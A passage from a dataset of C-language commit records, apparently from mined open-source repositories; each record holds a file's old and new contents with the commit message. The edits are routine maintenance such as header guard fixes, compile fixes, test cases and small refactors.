TELIT_HE910_CELLULAR_POWER_H_\n\n#include \"AT_CellularPower.h\"\n\nnamespace mbed {\n\nclass QUECTEL_BC95_CellularPower : public AT_CellularPower\n{\npublic:\n    QUECTEL_BC95_CellularPower(ATHandler &atHandler);\n    virtual ~QUECTEL_BC95_CellularPower();\n\npublic: \/\/from CellularPower\n    virtual nsapi_error_t set_at_mode();\n\n    virtual nsapi_error_t reset();\n};\n\n} \/\/ namespace mbed\n\n#endif \/\/ TELIT_HE910_CELLULAR_POWER_H_\n","new_contents":"\/*\n * Copyright (c) 2017, Arm Limited and affiliates.\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef QUECTEL_BC95_CELLULAR_POWER_H_\n#define QUECTEL_BC95_CELLULAR_POWER_H_\n\n#include \"AT_CellularPower.h\"\n\nnamespace mbed {\n\nclass QUECTEL_BC95_CellularPower : public AT_CellularPower\n{\npublic:\n    QUECTEL_BC95_CellularPower(ATHandler &atHandler);\n    virtual ~QUECTEL_BC95_CellularPower();\n\npublic: \/\/from CellularPower\n    virtual nsapi_error_t set_at_mode();\n\n    virtual nsapi_error_t reset();\n};\n\n} \/\/ namespace mbed\n\n#endif \/\/ QUECTEL_BC95_CELLULAR_POWER_H_\n","subject":"Fix wrong header define name","message":"Fix wrong header define name\n","lang":"C","license":"apache-2.0","repos":"andcor02\/mbed-os,mbedmicro\/mbed,andcor02\/mbed-os,mbedmicro\/mbed,betzw\/mbed-os,betzw\/mbed-os,andcor02\/mbed-os,betzw\/mbed-os,kjbracey-arm\/mbed,c1728p9\/mbed-os,mbedmicro\/mbed,andcor02\/mbed-os,betzw\/mbed-os,c1728p9\/mbed-os,c1728p9\/mbed-os,mbedmicro\/mbed,mbedmicro\/mbed,kjbracey-arm\/mbed,c1728p9\/mbed-os,kjbracey-arm\/mbed,c1728p9\/mbed-os,betzw\/mbed-os,kjbracey-arm\/mbed,andcor02\/mbed-os,andcor02\/mbed-os,c1728p9\/mbed-os,betzw\/mbed-os"}
{"commit":"0ef745fb407376a381b9e09e73e188a2034d3ad9","old_file":"src\/dsmcc-compress.h","new_file":"src\/dsmcc-compress.h","old_contents":"#ifndef DSMCC_COMPRESS_H\n#define DSMCC_COMPRESS_H\n\n#include <stdbool.h>\n\n#include \"dsmcc-config.h\"\n#include \"dsmcc-debug.h\"\n\n#ifdef HAVE_ZLIB\nbool dsmcc_inflate_file(const char *filename);\n#else\nstatic inline bool dsmcc_inflate_file(const char *filename)\n{\n\tDSMCC_ERROR(\"Compression support is disabled in this build\");\n\treturn false;\n}\n#endif\n\n#endif \/* DSMCC_COMPRESS_H *\/\n","new_contents":"#ifndef DSMCC_COMPRESS_H\n#define DSMCC_COMPRESS_H\n\n#include <stdbool.h>\n\n#include \"dsmcc-config.h\"\n#include \"dsmcc-debug.h\"\n\n#ifdef HAVE_ZLIB\nbool dsmcc_inflate_file(const char *filename);\n#else\nstatic inline bool dsmcc_inflate_file(const char *filename)\n{\n\t(void) filename;\n\tDSMCC_ERROR(\"Compression support is disabled in this build\");\n\treturn false;\n}\n#endif\n\n#endif \/* DSMCC_COMPRESS_H *\/\n","subject":"Fix compilation error when disabling zlib support","message":"Fix compilation error when disabling zlib support\n","lang":"C","license":"lgpl-2.1","repos":"frogbywyplay\/media_libdsmcc,frogbywyplay\/media_libdsmcc"}
{"commit":"26c8a7af33471e55c174880e7373342820b163fb","old_file":"test2\/inline\/cant.c","new_file":"test2\/inline\/cant.c","old_contents":"","new_contents":"\/\/ RUN: %check -e %s\n\n#define always_inline __attribute((always_inline))\n\nalways_inline hidden(int);\n\nvoid always_inline __attribute((noinline)) noinline(void)\n{\n}\n\nalways_inline void print(const char *fmt, ...)\n{\n}\n\nalways_inline void old(a, b)\n\tint a, b;\n{\n}\n\nalways_inline void addr(int x)\n{\n\tint *p = &x;\n\t*p = 3;\n}\n\nalways_inline void write(int x)\n{\n\tx++;\n}\n\nalways_inline void rec(int depth)\n{\n\tif(depth < 5)\n\t\trec(depth + 1); \/\/ CHECK: can't always_inline function: can't see function\n}\n\nalways_inline int should_inline()\n{\n\treturn 3;\n}\n\nmain()\n{\n\tshould_inline(); \/\/ CHECK: !\/warn|error\/\n\n\trec(0); \/\/ CHECK: !\/warn|error\/\n\n\thidden(3); \/\/ CHECK: error: can't always_inline function: can't see function\n\tnoinline(); \/\/ CHECK: error: can't always_inline noinline function\n\tprint(\"hi\", 3); \/\/ CHECK: error: can't always_inline function: variadic function\n\tprint(\"hi\"); \/\/ CHECK: error: can't always_inline function: variadic function\n\told(3, 1); \/\/ CHECK: error: can't always_inline function: unspecified argument count function\n\taddr(5); \/\/ CHECK: error: can't always_inline function: argument written or addressed\n\twrite(2); \/\/ CHECK: error: can't always_inline function: argument written or addressed\n}\n","subject":"Test inability to inline certain functions","message":"Test inability to inline certain functions\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"51a20300b5d16fc2ded0b67c0dc250dd934339c7","old_file":"p7r\/p7r_api.c","new_file":"p7r\/p7r_api.c","old_contents":"#include    \".\/p7r_api.h\"\n#include    \".\/p7r_root_alloc.h\"\n\n\nstatic\nstruct p7r_poolized_meta {\n    int startup_channel[2];\n} meta_singleton;\n\n\nstatic\nvoid p7r_poolized_main_entrance(void *argument) {\n    struct p7r_poolized_meta *meta = argument;\n    struct p7r_delegation channel_hint;\n    for (;;) {\n        channel_hint = p7r_delegate(P7R_DELEGATION_READ, meta->startup_channel[0]);\n        \/\/ XXX currently do nothing - 'tis wrong for fd under LT mode, so we write nothing to startup channel for now\n    }\n}\n\nint p7r_poolize(struct p7r_config config) {\n    if (pipe(meta_singleton.startup_channel) == -1)\n        return -1;\n    int ret = p7r_init(config);\n    if (ret < 0)\n        return close(meta_singleton.startup_channel[0]), close(meta_singleton.startup_channel[1]), ret;\n    return p7r_poolized_main_entrance(&meta_singleton), 0;\n}\n","new_contents":"#include    \".\/p7r_api.h\"\n#include    \".\/p7r_root_alloc.h\"\n\n\nstatic\nstruct p7r_poolized_meta {\n    int startup_channel[2];\n} meta_singleton;\n\n\nstatic\nvoid p7r_poolized_main_entrance(void *argument) {\n    struct p7r_poolized_meta *meta = argument;\n    struct p7r_delegation channel_hint;\n    for (;;) {\n        channel_hint = p7r_delegate(P7R_DELEGATION_READ, meta->startup_channel[0]);\n        \/\/ XXX currently do nothing - 'tis wrong for fd under LT mode, so we write nothing to startup channel for now\n    }\n}\n\nstatic\nint p7r_poolize(struct p7r_config config) {\n    if (pipe(meta_singleton.startup_channel) == -1)\n        return -1;\n    int ret = p7r_init(config);\n    if (ret < 0)\n        return close(meta_singleton.startup_channel[0]), close(meta_singleton.startup_channel[1]), ret;\n    return p7r_poolized_main_entrance(&meta_singleton), 0;\n}\n","subject":"Load balance & foreign message queue refactored.","message":"Load balance & foreign message queue refactored.\n","lang":"C","license":"bsd-3-clause","repos":"Akvelog\/servcraft,Akvelog\/servcraft,Akvelog\/servcraft"}
{"commit":"26283cd9e6e778a00d1e2acba716771f4416c188","old_file":"src\/libs6rc\/s6rc_livedir_prefixsize.c","new_file":"src\/libs6rc\/s6rc_livedir_prefixsize.c","old_contents":"\/* ISC license. *\/\n\n#include <limits.h>\n#include <string.h>\n#include <sys\/stat.h>\n#include <errno.h>\n#include <s6-rc\/s6rc-utils.h>\n\nint s6rc_livedir_prefixsize (char const *live, size_t *n)\n{\n  struct stat st ;\n  size_t llen = strlen(live) ;\n  char sfn[llen + 8] ;\n  memcpy(sfn, live, llen) ;\n  memcpy(sfn + llen, \"\/prefix\", 8) ;\n  if (stat(sfn, &st) < 0)\n  {\n    if (errno != ENOENT) return 0 ;\n    *n = 0 ;\n    return 1 ;\n  }\n  if (!S_ISREG(st.st_mode)) return (errno = EINVAL, 0) ;\n  if (st.st_size > NAME_MAX) return (errno = ENAMETOOLONG, 0) ;\n  *n = st.st_size ;\n  return 1 ;\n}\n","new_contents":"\/* ISC license. *\/\n\n#include <limits.h>\n#include <string.h>\n#include <sys\/stat.h>\n#include <errno.h>\n#include <s6-rc\/s6rc-utils.h>\n\nint s6rc_livedir_prefixsize (char const *live, size_t *n)\n{\n  struct stat st ;\n  size_t llen = strlen(live) ;\n  char sfn[llen + 8] ;\n  memcpy(sfn, live, llen) ;\n  memcpy(sfn + llen, \"\/prefix\", 8) ;\n  if (stat(sfn, &st) < 0)\n  {\n    if (errno != ENOENT) return 0 ;\n    *n = 0 ;\n    return 1 ;\n  }\n  if (!S_ISREG(st.st_mode)) return (errno = EINVAL, 0) ;\n  if (st.st_size > PATH_MAX) return (errno = ENAMETOOLONG, 0) ;\n  *n = st.st_size ;\n  return 1 ;\n}\n","subject":"Change safety guard to PATH_MAX because Solaris doesn't know NAME_MAX","message":" Change safety guard to PATH_MAX because Solaris doesn't know NAME_MAX\n","lang":"C","license":"isc","repos":"skarnet\/s6-rc,skarnet\/s6-rc"}
{"commit":"555ea52bfbef491555015a27c5d4d6bdcca14d07","old_file":"projects\/com.oracle.truffle.llvm.test\/tests\/c\/truffle-c\/structTest\/structCopy2.c","new_file":"projects\/com.oracle.truffle.llvm.test\/tests\/c\/truffle-c\/structTest\/structCopy2.c","old_contents":"struct test {\n  int a[3];\n  char b[2];\n  long c;\n};\n\nint sum(struct test *t) {\n  int sum = 0;\n  sum += t->a[0] + t->a[1] + t->a[2];\n  sum += t->b[0] + t->b[1] + t->b[2];\n  sum += t->c;\n  return sum;\n}\n\nint main() {\n  struct test t1 = { .a = { 1, 2, 3 }, .b = { 'a', 'c' }, .c = -1 };\n\n  struct test t2 = t1;\n  t2.b[0] = 32;\n  t2.a[0] = 12;\n  t2.a[2] = 1;\n  return (sum(&t1) + sum(&t2)) % 256;\n}\n","new_contents":"struct test {\n  int a[3];\n  char b[2];\n  long c;\n};\n\nint sum(struct test *t) {\n  int sum = 0;\n  sum += t->a[0] + t->a[1] + t->a[2];\n  sum += t->b[0] + t->b[1];\n  sum += t->c;\n  return sum;\n}\n\nint main() {\n  struct test t1 = { .a = { 1, 2, 3 }, .b = { 'a', 'c' }, .c = -1 };\n\n  struct test t2 = t1;\n  t2.b[0] = 32;\n  t2.a[0] = 12;\n  t2.a[2] = 1;\n  return (sum(&t1) + sum(&t2)) % 256;\n}\n","subject":"Fix overflow in test case","message":"Fix overflow in test case\n","lang":"C","license":"bsd-3-clause","repos":"lxp\/sulong,crbb\/sulong,PrinzKatharina\/sulong,crbb\/sulong,lxp\/sulong,lxp\/sulong,crbb\/sulong,PrinzKatharina\/sulong,lxp\/sulong,PrinzKatharina\/sulong,crbb\/sulong,PrinzKatharina\/sulong"}
{"commit":"8a1bfeac01a2a0b93544d46f229c6716457b4af5","old_file":"ros\/src\/sensing\/filters\/packages\/points_downsampler\/include\/points_downsampler.h","new_file":"ros\/src\/sensing\/filters\/packages\/points_downsampler\/include\/points_downsampler.h","old_contents":"#ifndef POINTS_DOWNSAMPLER_H\n#define POINTS_DOWNSAMPLER_H\n\nstatic pcl::PointCloud<pcl::PointXYZI> removePointsByRange(pcl::PointCloud<pcl::PointXYZI> scan, double min_range, double max_range)\n{\n  pcl::PointCloud<pcl::PointXYZI> narrowed_scan;\n  narrowed_scan.header = scan.header;\n  double square_min_range = min_range * min_range;\n  double square_max_range = max_range * max_range;\n\n  for(pcl::PointCloud<pcl::PointXYZI>::const_iterator iter = scan.begin(); iter != scan.end(); ++iter)\n  {\n    const pcl::PointXYZI &p = *iter;\n\/\/    p.x = iter->x;\n\/\/    p.y = iter->y;\n\/\/    p.z = iter->z;\n\/\/    p.intensity = iter->intensity;\n    double square_distance = p.x * p.x + p.y * p.y;\n\n    if(square_min_range <= square_distance && square_distance <= square_max_range){\n      narrowed_scan.points.push_back(p);\n    }\n  }\n#if 1\n  return narrowed_scan;\n#else\n  return scan;    \/\/  This is a only tempolary patch for Localization problem.\n#endif\n}\n\n#endif \/\/ POINTS_DOWNSAMPLER_H\n","new_contents":"#ifndef POINTS_DOWNSAMPLER_H\n#define POINTS_DOWNSAMPLER_H\n\nstatic pcl::PointCloud<pcl::PointXYZI> removePointsByRange(pcl::PointCloud<pcl::PointXYZI> scan, double min_range, double max_range)\n{\n  pcl::PointCloud<pcl::PointXYZI> narrowed_scan;\n  narrowed_scan.header = scan.header;\n\n#if 1     \/\/  This error handling should be detemind.\n  if( min_range>=max_range ) {\n    ROS_ERROR_ONCE(\"min_range>=max_range @(%lf, %lf)\", min_range, max_range );\n    return scan;\n  }\n#endif\n\n  double square_min_range = min_range * min_range;\n  double square_max_range = max_range * max_range;\n\n  for(pcl::PointCloud<pcl::PointXYZI>::const_iterator iter = scan.begin(); iter != scan.end(); ++iter)\n  {\n    const pcl::PointXYZI &p = *iter;\n\/\/    p.x = iter->x;\n\/\/    p.y = iter->y;\n\/\/    p.z = iter->z;\n\/\/    p.intensity = iter->intensity;\n    double square_distance = p.x * p.x + p.y * p.y;\n\n    if(square_min_range <= square_distance && square_distance <= square_max_range){\n      narrowed_scan.points.push_back(p);\n    }\n  }\n\n  return narrowed_scan;\n}\n\n#endif \/\/ POINTS_DOWNSAMPLER_H\n","subject":"Add Error handring to removePointsByRange()","message":"Add Error handring to removePointsByRange()\n","lang":"C","license":"apache-2.0","repos":"CPFL\/Autoware,suzlab\/Autoware,CPFL\/Autoware,suzlab\/Autoware,suzlab\/Autoware,suzlab\/Autoware,CPFL\/Autoware,CPFL\/Autoware,suzlab\/Autoware,CPFL\/Autoware,CPFL\/Autoware,suzlab\/Autoware,CPFL\/Autoware,suzlab\/Autoware,suzlab\/Autoware"}
{"commit":"ae9b9fff1f55d6de43e96be799164b0ef6d99526","old_file":"hack\/utils\/compiler_id_impl.c","new_file":"hack\/utils\/compiler_id_impl.c","old_contents":"\/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the \"hack\" directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n#define CAML_NAME_SPACE\n#include <caml\/memory.h>\n#include <caml\/alloc.h>\n#include <string.h>\n\n#include \"hphp\/util\/embedded-data.h\"\n\n#define BUF_SIZE 64\n\nstatic const char section_name[] = \"build_id\";\nstatic const char default_id[] = \"hackc-unknown-version\";\n\nvalue hh_get_compiler_id(void) {\n  CAMLparam0();\n  char buf[BUF_SIZE];\n  ssize_t len = hphp_read_embedded_data(section_name, buf, BUF_SIZE);\n  value result;\n\n  if (len < 0) {\n    result = caml_alloc_string(strlen(default_id));\n    memcpy(String_val(result), default_id, strlen(default_id));\n    CAMLreturn(result);\n  } else {\n    result = caml_alloc_string(len);\n    memcpy(String_val(result), buf, len);\n    CAMLreturn(result);\n  }\n}\n","new_contents":"\/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the \"hack\" directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n#define CAML_NAME_SPACE\n#include <caml\/memory.h>\n#include <caml\/alloc.h>\n#include <string.h>\n\n#include \"hphp\/util\/embedded-data.h\"\n\n#define BUF_SIZE 64\n\nstatic const char section_name[] = \"build_id\";\nstatic const char default_id[] = \"hackc-unknown-version\";\n\n#define STRINGIFY_HELPER(x) #x\n#define STRINGIFY_VALUE(x) STRINGIFY_HELPER(x)\n\nvalue hh_get_compiler_id(void) {\n  CAMLparam0();\n#ifdef HACKC_COMPILER_ID\n  const char buf[] = STRINGIFY_VALUE(HACKC_COMPILER_ID);\n  const ssize_t len = sizeof(buf) - 1;\n#else\n  char buf[BUF_SIZE];\n  const ssize_t len = hphp_read_embedded_data(section_name, buf, BUF_SIZE);\n#endif\n  value result;\n\n  if (len < 0) {\n    result = caml_alloc_string(strlen(default_id));\n    memcpy(String_val(result), default_id, strlen(default_id));\n    CAMLreturn(result);\n  } else {\n    result = caml_alloc_string(len);\n    memcpy(String_val(result), buf, len);\n    CAMLreturn(result);\n  }\n}\n","subject":"Allow specifyign hackc compiler id with C define","message":"[hack] Allow specifyign hackc compiler id with C define\n\nSummary:\nOSS friendliness:\n - on mac, we *can't* add an ELF section after the fact, we must have it when building\n - script is fb-specific for now (though doens't need to be)\n\nDepends on D6237249\n\nReviewed By: paulbiss\n\nDifferential Revision: D6238694\n\nfbshipit-source-id: 9b07cadb68c7d34e05bdb7094ee23bcf35ae6f4b\n","lang":"C","license":"mit","repos":"gabelevi\/flow,TiddoLangerak\/flow,gabelevi\/flow,facebook\/flow,JonathanUsername\/flow,JonathanUsername\/flow,mroch\/flow,claudiopro\/flow,samwgoldman\/flow,AgentME\/flow,mroch\/flow,facebook\/flow,claudiopro\/flow,TiddoLangerak\/flow,nmote\/flow,facebook\/flow,mroch\/flow,gabelevi\/flow,samwgoldman\/flow,gabelevi\/flow,gabelevi\/flow,gabelevi\/flow,jamesgpearce\/flow,ylu1317\/flow,popham\/flow,AgentME\/flow,JonathanUsername\/flow,JonathanUsername\/flow,nmote\/flow,JonathanUsername\/flow,samwgoldman\/flow,ylu1317\/flow,jamesgpearce\/flow,popham\/flow,facebook\/flow,JonathanUsername\/flow,jamesgpearce\/flow,TiddoLangerak\/flow,popham\/flow,popham\/flow,mroch\/flow,nmote\/flow,nmote\/flow,ylu1317\/flow,popham\/flow,jamesgpearce\/flow,popham\/flow,popham\/flow,nmote\/flow,jamesgpearce\/flow,facebook\/flow,claudiopro\/flow,samwgoldman\/flow,samwgoldman\/flow,samwgoldman\/flow,mroch\/flow,samwgoldman\/flow,ylu1317\/flow,claudiopro\/flow,ylu1317\/flow,TiddoLangerak\/flow,mroch\/flow,gabelevi\/flow,JonathanUsername\/flow,facebook\/flow,jamesgpearce\/flow,facebook\/flow,jamesgpearce\/flow,TiddoLangerak\/flow,mroch\/flow,nmote\/flow,AgentME\/flow,nmote\/flow,AgentME\/flow,AgentME\/flow,claudiopro\/flow"}
{"commit":"96e941ff7e908835b6df2fbb24069d30ec172544","old_file":"polygon.h","new_file":"polygon.h","old_contents":"\/** Author : Paul TREHIOU & Victor SENE\n *  Date : November 2014\n **\/\n\n\/**\n * Declaration Point structure\n * x - real wich is the abscisse of the point\n * y - real wich is the ordinate of the point\n *\/\ntypedef struct\n{\n\tfloat x;\n \tfloat y;\n}Point;\n\n\/**\n * Function wich create a point with a specified abscisse and ordinate\n * abscisse - real\n * ordinate - real\n * return a new point\n *\/\nPoint createPoint(float abscisse, float ordinate);\n\n\/**\n * Declaration of the Element structure\n * value - value of the point of the current element of the polygon\n * next - pointer on the next element\n * previous - pointer on the previous element\n *\/\ntypedef struct pointelem{\n\n\tPoint value;\n\tpointelem* next;\n\tpointelem* previous;\n\n}PointElement;\n\n\/**\n * Declaration of the Polygon\n *\/\ntypedef PointElement* Polygon;\n","new_contents":"\/** Author : Paul TREHIOU & Victor SENE\n *  Date : November 2014\n **\/\n\n\/**\n * Declaration Point structure\n * x - real wich is the abscisse of the point\n * y - real wich is the ordinate of the point\n *\/\ntypedef struct\n{\n\tfloat x;\n \tfloat y;\n}Point;\n\n\/**\n * Declaration of the Element structure\n * value - value of the point of the current element of the polygon\n * next - pointer on the next element\n * previous - pointer on the previous element\n *\/\ntypedef struct pointelem{\n\n\tPoint value;\n\tpointelem* next;\n\tpointelem* previous;\n\n}PointElement;\n\n\/**\n * Declaration of the Polygon\n *\/\ntypedef PointElement* Polygon;\n\n\/**\n * Function wich create a point with a specified abscisse and ordinate\n * abscisse - real\n * ordinate - real\n * return a new point\n *\/\nPoint createPoint(float abscisse, float ordinate);\n\n","subject":"Move the structure definition on a better place","message":"Move the structure definition on a better place\n","lang":"C","license":"mit","repos":"UTBroM\/GeometricLib"}
{"commit":"6fee339bd8ccc195012921cdc9284de41c992571","old_file":"JASP-Common\/options\/optionfieldpairs.h","new_file":"JASP-Common\/options\/optionfieldpairs.h","old_contents":"#ifndef OPTIONFIELDPAIRS_H\n#define OPTIONFIELDPAIRS_H\n\n#include \"optioni.h\"\n\ntypedef std::pair<std::string, std::string> FieldPair;\ntypedef std::vector<FieldPair> FieldPairs;\n\nclass OptionFieldPairs : public OptionI<std::vector<std::pair<std::string, std::string> > >\n{\npublic:\n\tOptionFieldPairs(std::string name);\n\n\tvirtual Json::Value asJSON() const override;\n\tvirtual void set(Json::Value &value) override;\n};\n\n#endif \/\/ OPTIONFIELDPAIRS_H\n","new_contents":"#ifndef OPTIONFIELDPAIRS_H\n#define OPTIONFIELDPAIRS_H\n\n#include \"optioni.h\"\n#include \"common.h\"\n\ntypedef std::pair<std::string, std::string> FieldPair;\ntypedef std::vector<FieldPair> FieldPairs;\n\nclass OptionFieldPairs : public OptionI<std::vector<std::pair<std::string, std::string> > >\n{\npublic:\n\tOptionFieldPairs(std::string name);\n\n    virtual Json::Value asJSON() const OVERRIDE;\n    virtual void set(Json::Value &value) OVERRIDE;\n};\n\n#endif \/\/ OPTIONFIELDPAIRS_H\n","subject":"Fix for GCC 4.6 compatibility","message":"Fix for GCC 4.6 compatibility\n","lang":"C","license":"agpl-3.0","repos":"TimKDJ\/jasp-desktop,raviselker\/jasp-desktop,AlexanderLyNL\/jasp-desktop,dostodabsi\/jasp-desktop,AlexanderLyNL\/jasp-desktop,aknight1-uva\/jasp-desktop,dostodabsi\/jasp-desktop,AlexanderLyNL\/jasp-desktop,dostodabsi\/jasp-desktop,FransMeerhoff\/jasp-desktop,Tahiraj\/jasp-desktop,cgvarela\/jasp-desktop,boutinb\/jasp-desktop,vankesteren\/jasp-desktop,vankesteren\/jasp-desktop,raviselker\/jasp-desktop,aknight1-uva\/jasp-desktop,dostodabsi\/jasp-desktop,fdabl\/jasp-desktop,jasp-stats\/jasp-desktop,jasp-stats\/jasp-desktop,Tahiraj\/jasp-desktop,jasp-stats\/jasp-desktop,FransMeerhoff\/jasp-desktop,tlevine\/jasp-desktop,raviselker\/jasp-desktop,TimKDJ\/jasp-desktop,tlevine\/jasp-desktop,cgvarela\/jasp-desktop,jasp-stats\/jasp-desktop,vankesteren\/jasp-desktop,dropmann\/jasp-desktop,vankesteren\/jasp-desktop,dropmann\/jasp-desktop,AlexanderLyNL\/jasp-desktop,dostodabsi\/jasp-desktop,boutinb\/jasp-desktop,dropmann\/jasp-desktop,TimKDJ\/jasp-desktop,AlexanderLyNL\/jasp-desktop,AlexanderLyNL\/jasp-desktop,FransMeerhoff\/jasp-desktop,FransMeerhoff\/jasp-desktop,TimKDJ\/jasp-desktop,fdabl\/jasp-desktop,aknight1-uva\/jasp-desktop,boutinb\/jasp-desktop,TimKDJ\/jasp-desktop,raviselker\/jasp-desktop,vankesteren\/jasp-desktop,dropmann\/jasp-desktop,AlexanderLyNL\/jasp-desktop,jasp-stats\/jasp-desktop,boutinb\/jasp-desktop,aknight1-uva\/jasp-desktop,TimKDJ\/jasp-desktop,boutinb\/jasp-desktop,tlevine\/jasp-desktop,jasp-stats\/jasp-desktop,FransMeerhoff\/jasp-desktop,cgvarela\/jasp-desktop,dropmann\/jasp-desktop,raviselker\/jasp-desktop,TimKDJ\/jasp-desktop,fdabl\/jasp-desktop,vankesteren\/jasp-desktop,aknight1-uva\/jasp-desktop,Tahiraj\/jasp-desktop,dropmann\/jasp-desktop,Tahiraj\/jasp-desktop,FransMeerhoff\/jasp-desktop,raviselker\/jasp-desktop,TimKDJ\/jasp-desktop,aknight1-uva\/jasp-desktop,cgvarela\/jasp-desktop,raviselker\/jasp-desktop,FransMeerhoff\/jasp-desktop,jasp-stats\/jasp-desktop,vankesteren\/jasp-desktop,boutinb\/jasp-desktop,jasp-stats\/jasp-desktop,dropmann\/jasp-desktop,fdabl\/jasp-desktop,cgvarela\/jasp-desktop,tlevine\/jasp-desktop,tlevine\/jasp-desktop,fdabl\/jasp-desktop,aknight1-uva\/jasp-desktop,Tahiraj\/jasp-desktop,FransMeerhoff\/jasp-desktop,AlexanderLyNL\/jasp-desktop,boutinb\/jasp-desktop,fdabl\/jasp-desktop,boutinb\/jasp-desktop,dostodabsi\/jasp-desktop,dostodabsi\/jasp-desktop,vankesteren\/jasp-desktop,fdabl\/jasp-desktop"}
{"commit":"dced3e0720486c4fc0910a9e8efe51e24991a994","old_file":"src\/opt.c","new_file":"src\/opt.c","old_contents":"#include \"opt.h\"\n\nCorkOpt *\ncorkopt_init(int argc, char *argv[])\n{\n    CorkOpt *co;\n\n    if ((co = malloc(sizeof(CorkOpt))) == NULL)\n        return NULL;\n\n    co->argc = argc;\n    co->argv = argv;\n\n    return co;\n}\n\nstatic void\ncorkopt_fini(CorkOpt *co)\n{ }\n\nvoid\ncorkopt_add(CorkOpt *co,\n            int shortopt,\n            const char *longopt,\n            const char *helptext,\n            const int flags)\n{\n    CorkOptElement *coe;\n\n    if ((coe = malloc(sizeof(CorkOptElement))) == NULL)\n        return;\n\n    coe->short_opt = shortopt;\n    coe->long_opt  = longopt;\n    coe->help_text = helptext;\n    coe->flags     = flags;\n\n    corklist_append(co->opts, coe);\n    return;\n}\n","new_contents":"#include \"opt.h\"\n\nCorkOpt *\ncorkopt_init(void)\n{\n    CorkOpt *co;\n\n    if ((co = malloc(sizeof(CorkOpt))) == NULL)\n        return NULL;\n\n    co->args = corklist_create();\n    return co;\n}\n\nvoid\ncorkopt_fini(CorkOpt *co)\n{ }\n\nvoid\ncorkopt_add(CorkOpt *co,\n            int shortopt,\n            const char *longopt,\n            const char *helptext,\n            const int flags)\n{\n    CorkOptElement *coe;\n\n    if ((coe = malloc(sizeof(CorkOptElement))) == NULL)\n        return;\n\n    coe->short_opt = shortopt;\n    coe->long_opt  = longopt;\n    coe->help_text = helptext;\n    coe->flags     = flags;\n\n    corklist_append(co->opts, coe);\n    return;\n}\n","subject":"Change some function prototypes around","message":"Change some function prototypes around\n","lang":"C","license":"mit","repos":"corks\/corc.opt"}
{"commit":"d62dee2351cdbc34d89459a9c4c2aaa98317b811","old_file":"test\/benchLinkDef.h","new_file":"test\/benchLinkDef.h","old_contents":"#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class THit!+;\n#pragma link C++ class TObjHit+;\n#pragma link C++ class TSTLhit;\n#pragma link C++ class TSTLhitList;\n#pragma link C++ class TSTLhitDeque;\n#pragma link C++ class TSTLhitSet;\n#pragma link C++ class TSTLhitMultiset;\n#pragma link C++ class TSTLhitMap;\n#pragma link C++ class TSTLhitMultiMap;\n\/\/#pragma link C++ class TSTLhitHashSet;\n\/\/#pragma link C++ class TSTLhitHashMultiset;\n#pragma link C++ class pair<int,THit>;\n\n#pragma link C++ class TSTLhitStar;\n#pragma link C++ class TSTLhitStarList;\n#pragma link C++ class TSTLhitStarDeque;\n#pragma link C++ class TSTLhitStarSet;\n#pragma link C++ class TSTLhitStarMultiSet;\n#pragma link C++ class TSTLhitStarMap;\n#pragma link C++ class TSTLhitStarMultiMap;\n#pragma link C++ class pair<int,THit*>;\n\n#pragma link C++ class TCloneshit+;\n\n#endif\n","new_contents":"#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class THit!+;\n#pragma link C++ class TObjHit+;\n#pragma link C++ class TSTLhit+;\n#pragma link C++ class TSTLhitList+;\n#pragma link C++ class TSTLhitDeque+;\n#pragma link C++ class TSTLhitSet+;\n#pragma link C++ class TSTLhitMultiset+;\n#pragma link C++ class TSTLhitMap+;\n#pragma link C++ class TSTLhitMultiMap+;\n\/\/#pragma link C++ class TSTLhitHashSet;\n\/\/#pragma link C++ class TSTLhitHashMultiset;\n#pragma link C++ class pair<int,THit>+;\n\n#pragma link C++ class TSTLhitStar+;\n#pragma link C++ class TSTLhitStarList+;\n#pragma link C++ class TSTLhitStarDeque+;\n#pragma link C++ class TSTLhitStarSet+;\n#pragma link C++ class TSTLhitStarMultiSet+;\n#pragma link C++ class TSTLhitStarMap+;\n#pragma link C++ class TSTLhitStarMultiMap+;\n#pragma link C++ class pair<int,THit*>+;\n\n#pragma link C++ class TCloneshit+;\n\n#endif\n","subject":"Use the option \"+\" to force the new style Streamer for all classes in bench.","message":"Use the option \"+\" to force the new style Streamer for all classes in bench.\n\n\ngit-svn-id: acec3fd5b7ea1eb9e79d6329d318e8118ee2e14f@10478 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"veprbl\/root,pspe\/root,perovic\/root,simonpf\/root,gganis\/root,sbinet\/cxx-root,root-mirror\/root,0x0all\/ROOT,omazapa\/root,tc3t\/qoot,gbitzes\/root,krafczyk\/root,beniz\/root,pspe\/root,gganis\/root,esakellari\/root,veprbl\/root,Y--\/root,vukasinmilosevic\/root,root-mirror\/root,arch1tect0r\/root,gganis\/root,vukasinmilosevic\/root,gbitzes\/root,esakellari\/root,gbitzes\/root,omazapa\/root-old,CristinaCristescu\/root,sirinath\/root,evgeny-boger\/root,smarinac\/root,Duraznos\/root,evgeny-boger\/root,root-mirror\/root,satyarth934\/root,omazapa\/root,sirinath\/root,agarciamontoro\/root,agarciamontoro\/root,krafczyk\/root,sirinath\/root,smarinac\/root,smarinac\/root,sawenzel\/root,omazapa\/root,ffurano\/root5,nilqed\/root,zzxuanyuan\/root,satyarth934\/root,thomaskeck\/root,georgtroska\/root,lgiom